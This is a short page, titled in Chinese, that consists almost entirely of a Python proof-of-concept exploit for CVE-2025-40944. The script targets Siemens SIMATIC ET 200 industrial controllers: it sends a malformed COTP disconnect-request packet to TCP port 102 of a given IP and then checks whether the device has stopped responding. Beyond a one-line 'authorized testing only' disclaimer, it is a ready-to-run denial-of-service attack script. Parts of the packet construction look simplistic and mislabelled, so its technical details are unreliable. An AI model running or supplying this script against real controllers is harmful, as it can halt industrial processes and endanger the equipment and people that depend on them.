CVE-2025-40944西门子SIMATIC ET 200系列S7协议DoS漏洞

#!/usr/bin/env python3 """ CVE-2025-40944 PoC - Siemens SIMATIC ET 200 S7 Protocol DoS This PoC demonstrates sending a malformed COTP DR TPDU to trigger DoS condition. Note: Use only for authorized security testing. """ import socket import struct import sys def create_cotp_dr_tpdu(): """ Create a COTPDisconnectRequest (DR) TPDU COTP DR TPDU structure: - TPDU type: 0x80 (DR) - Length: 0x0a (10 bytes) - TPDU reference: 0x00 - Disconnect reason: 0x00 - Additional info length: 0x00 """ tpdu = bytes([ 0x80, # TPDU type (DR = Disconnect Request) 0x0a, # Length indicator 0x00, # TPDU reference 0x00, # Disconnect reason 0x00, # Additional info length 0x00, 0x00, # Called TSAP (placeholder) 0x00, 0x00, # Calling TSAP (placeholder) ]) return tpdu def create_s7_connection_request(): """ Create initial S7 connection request to establish session """ # S7COMM Header structure simplified header = bytes([ 0x03, 0x00, # ROSCTR: Job 0x00, 0x00, # Redundancy identification 0x00, 0x00, # PDU reference 0x00, 0x00, # Parameter length 0x00, 0x00, # Data length ]) return header def exploit(target_ip, target_port=102): """ Send malicious COTP DR TPDU to trigger DoS condition """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] CVE-2025-40944 Exploit - Sending malformed COTP DR TPDU") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print("[+] Connected to target") # Send COTP DR TPDU to trigger the vulnerability cotp_dr = create_cotp_dr_tpdu() sock.send(cotp_dr) print("[+] Sent malicious COTP DR TPDU") # Wait and check if device is still responsive import time time.sleep(2) # Try to send another packet to check responsiveness try: sock.send(create_s7_connection_request()) print("[!] Device may still be responsive") except: print("[+] DoS condition confirmed - device unresponsive") sock.close() except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 102 exploit(target, port)